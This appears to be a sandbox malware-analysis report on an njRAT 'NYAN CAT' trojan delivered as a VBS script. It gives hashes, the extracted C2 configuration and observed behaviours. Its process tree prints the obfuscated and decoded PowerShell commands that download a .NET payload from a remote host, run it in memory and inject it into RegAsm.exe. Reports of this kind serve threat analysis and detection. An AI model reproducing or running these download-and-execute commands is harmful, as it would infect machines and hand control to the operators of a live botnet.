njrat | d9c80c3ba900073761a0829cc771e5f9ae5337e339ccdbf8f1ec436a08eb6ed3

Analysis

max time kernel
147s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20230703-en
resource tags

arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
submitted
08/07/2023, 11:23

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General

Target
NJ0000000000000000032542023.vbs
Size 320KB
Sample230708-ng4z5aef44
SHA256 d9c80c3ba900073761a0829cc771e5f9ae5337e339ccdbf8f1ec436a08eb6ed3
MD5 16b1b8e80b7f8a5078cb3d454f65d2cf
SHA1 8268c612b13391c17cdfed41bb3647f0b00f91f8
SHA512 c8e39fd8baeee1a85f35523a06c781d9b756b8d0aa942e31a5befc280748a458daf7a8198f40b76b0f4e7857052e1548c53388d9d0b29f64bddde89857441667
SSDEEP 768:V99999Wg5/qTnS99999h999993eDelebem:V99999b5/qTnS99999h99999uiAqm
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

njrat nyan cat trojan

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://cryptersandtools.minhacasa.tv/e/e

Extracted

Family

njrat

Version

0.7NC

Botnet

NYAN CAT

kbum1963.duckdns.org:1963

Mutex

4fcdef0f9ea14c0388

Attributes

reg_key
4fcdef0f9ea14c0388
splitter
@!#&^%$

Signatures

njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat

Blocklisted process makes network request 2 IoCs

flow	pid	Process
7	1416	powershell.exe
14	1416	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-618519468-4027732583-1827558364-1000\Control Panel\International\Geo\Nation	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1416 set thread context of 4200	1416	powershell.exe	87

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4312	powershell.exe
4312	powershell.exe
1416	powershell.exe
1416	powershell.exe

Suspicious use of AdjustPrivilegeToken 37 IoCs

description	pid	Process
Token: SeDebugPrivilege	4312	powershell.exe
Token: SeDebugPrivilege	1416	powershell.exe
Token: SeDebugPrivilege	4200	RegAsm.exe
Token: 33	4200	RegAsm.exe
Token: SeIncBasePriorityPrivilege	4200	RegAsm.exe
Token: 33	4200	RegAsm.exe
Token: SeIncBasePriorityPrivilege	4200	RegAsm.exe
Token: 33	4200	RegAsm.exe
Token: SeIncBasePriorityPrivilege	4200	RegAsm.exe
Token: 33	4200	RegAsm.exe
Token: SeIncBasePriorityPrivilege	4200	RegAsm.exe
Token: 33	4200	RegAsm.exe
Token: SeIncBasePriorityPrivilege	4200	RegAsm.exe
Token: 33	4200	RegAsm.exe
Token: SeIncBasePriorityPrivilege	4200	RegAsm.exe
Token: 33	4200	RegAsm.exe
Token: SeIncBasePriorityPrivilege	4200	RegAsm.exe
Token: 33	4200	RegAsm.exe
Token: SeIncBasePriorityPrivilege	4200	RegAsm.exe
Token: 33	4200	RegAsm.exe
Token: SeIncBasePriorityPrivilege	4200	RegAsm.exe
Token: 33	4200	RegAsm.exe
Token: SeIncBasePriorityPrivilege	4200	RegAsm.exe
Token: 33	4200	RegAsm.exe
Token: SeIncBasePriorityPrivilege	4200	RegAsm.exe
Token: 33	4200	RegAsm.exe
Token: SeIncBasePriorityPrivilege	4200	RegAsm.exe
Token: 33	4200	RegAsm.exe
Token: SeIncBasePriorityPrivilege	4200	RegAsm.exe
Token: 33	4200	RegAsm.exe
Token: SeIncBasePriorityPrivilege	4200	RegAsm.exe
Token: 33	4200	RegAsm.exe
Token: SeIncBasePriorityPrivilege	4200	RegAsm.exe
Token: 33	4200	RegAsm.exe
Token: SeIncBasePriorityPrivilege	4200	RegAsm.exe
Token: 33	4200	RegAsm.exe
Token: SeIncBasePriorityPrivilege	4200	RegAsm.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1368 wrote to memory of 4312	1368	WScript.exe	84
PID 1368 wrote to memory of 4312	1368	WScript.exe	84
PID 4312 wrote to memory of 1416	4312	powershell.exe	86
PID 4312 wrote to memory of 1416	4312	powershell.exe	86
PID 1416 wrote to memory of 4200	1416	powershell.exe	87
PID 1416 wrote to memory of 4200	1416	powershell.exe	87
PID 1416 wrote to memory of 4200	1416	powershell.exe	87
PID 1416 wrote to memory of 4200	1416	powershell.exe	87
PID 1416 wrote to memory of 4200	1416	powershell.exe	87
PID 1416 wrote to memory of 4200	1416	powershell.exe	87
PID 1416 wrote to memory of 4200	1416	powershell.exe	87
PID 1416 wrote to memory of 4200	1416	powershell.exe	87

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\NJ0000000000000000032542023.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1368
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'WwBC⁂Hk⁂d⁂Bl⁂Fs⁂XQBd⁂C⁂⁂J⁂BE⁂Ew⁂T⁂⁂g⁂D0⁂I⁂Bb⁂FM⁂eQBz⁂HQ⁂ZQBt⁂C4⁂QwBv⁂G4⁂dgBl⁂HI⁂d⁂Bd⁂Do⁂OgBG⁂HI⁂bwBt⁂EI⁂YQBz⁂GU⁂Ng⁂0⁂FM⁂d⁂By⁂Gk⁂bgBn⁂Cg⁂K⁂BO⁂GU⁂dw⁂t⁂E8⁂YgBq⁂GU⁂YwB0⁂C⁂⁂TgBl⁂HQ⁂LgBX⁂GU⁂YgBD⁂Gw⁂aQBl⁂G4⁂d⁂⁂p⁂C4⁂R⁂Bv⁂Hc⁂bgBs⁂G8⁂YQBk⁂FM⁂d⁂By⁂Gk⁂bgBn⁂Cg⁂JwBo⁂HQ⁂d⁂Bw⁂Do⁂Lw⁂v⁂GM⁂cgB5⁂H⁂⁂d⁂Bl⁂HI⁂cwBh⁂G4⁂Z⁂B0⁂G8⁂bwBs⁂HM⁂LgBt⁂Gk⁂bgBo⁂GE⁂YwBh⁂HM⁂YQ⁂u⁂HQ⁂dg⁂v⁂GU⁂LwBl⁂Cc⁂KQ⁂p⁂Ds⁂WwBT⁂Hk⁂cwB0⁂GU⁂bQ⁂u⁂EE⁂c⁂Bw⁂EQ⁂bwBt⁂GE⁂aQBu⁂F0⁂Og⁂6⁂EM⁂dQBy⁂HI⁂ZQBu⁂HQ⁂R⁂Bv⁂G0⁂YQBp⁂G4⁂LgBM⁂G8⁂YQBk⁂Cg⁂J⁂BE⁂Ew⁂T⁂⁂p⁂C4⁂RwBl⁂HQ⁂V⁂B5⁂H⁂⁂ZQ⁂o⁂Cc⁂RgBp⁂GI⁂ZQBy⁂C4⁂S⁂Bv⁂G0⁂ZQ⁂n⁂Ck⁂LgBH⁂GU⁂d⁂BN⁂GU⁂d⁂Bo⁂G8⁂Z⁂⁂o⁂Cc⁂VgBB⁂Ek⁂Jw⁂p⁂C4⁂SQBu⁂HY⁂bwBr⁂GU⁂K⁂⁂k⁂G4⁂dQBs⁂Gw⁂L⁂⁂g⁂Fs⁂bwBi⁂Go⁂ZQBj⁂HQ⁂WwBd⁂F0⁂I⁂⁂o⁂Cc⁂d⁂B4⁂HQ⁂Lg⁂z⁂DY⁂OQ⁂x⁂C8⁂cgBN⁂C8⁂bQBv⁂GM⁂LgBs⁂DU⁂Mw⁂y⁂Dk⁂OQ⁂x⁂DI⁂N⁂⁂1⁂C8⁂Lw⁂6⁂H⁂⁂d⁂B0⁂Gg⁂Jw⁂p⁂Ck⁂';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('⁂','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4312
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://cryptersandtools.minhacasa.tv/e/e'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('txt.3691/rM/moc.l532991245//:ptth'))"
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1416
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4200

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a
MD5 f41839a3fe2888c8b3050197bc9a0a05
SHA1 0798941aaf7a53a11ea9ed589752890aee069729
SHA512 2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e
MD5 50a8221b93fbd2628ac460dd408a9fc1
SHA1 7e99fe16a9b14079b6f0316c37cc473e1f83a7e6
SHA512 27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0
MD5 SHA1 SHA512

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__PSScriptPolicyTest_4pkmsdg5.fde.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4pkmsdg5.fde.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/1416-157-0x00000252EE100000-0x00000252EE110000-memory.dmp

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memory/1416-158-0x00000252EE100000-0x00000252EE110000-memory.dmp

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memory/1416-156-0x00000252EE100000-0x00000252EE110000-memory.dmp

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memory/4200-166-0x0000000005F70000-0x0000000006514000-memory.dmp

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memory/4200-159-0x0000000000400000-0x000000000040C000-memory.dmp

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memory/4200-165-0x0000000005860000-0x00000000058FC000-memory.dmp

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memory/4200-167-0x0000000005AD0000-0x0000000005B62000-memory.dmp

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memory/4200-168-0x0000000005AC0000-0x0000000005AD0000-memory.dmp

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memory/4200-169-0x0000000005A20000-0x0000000005A2A000-memory.dmp

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memory/4200-170-0x0000000005AC0000-0x0000000005AD0000-memory.dmp

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memory/4312-146-0x000002AA48450000-0x000002AA48460000-memory.dmp

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memory/4312-144-0x000002AA48450000-0x000002AA48460000-memory.dmp

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memory/4312-145-0x000002AA48450000-0x000002AA48460000-memory.dmp

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memory/4312-139-0x000002AA48410000-0x000002AA48432000-memory.dmp

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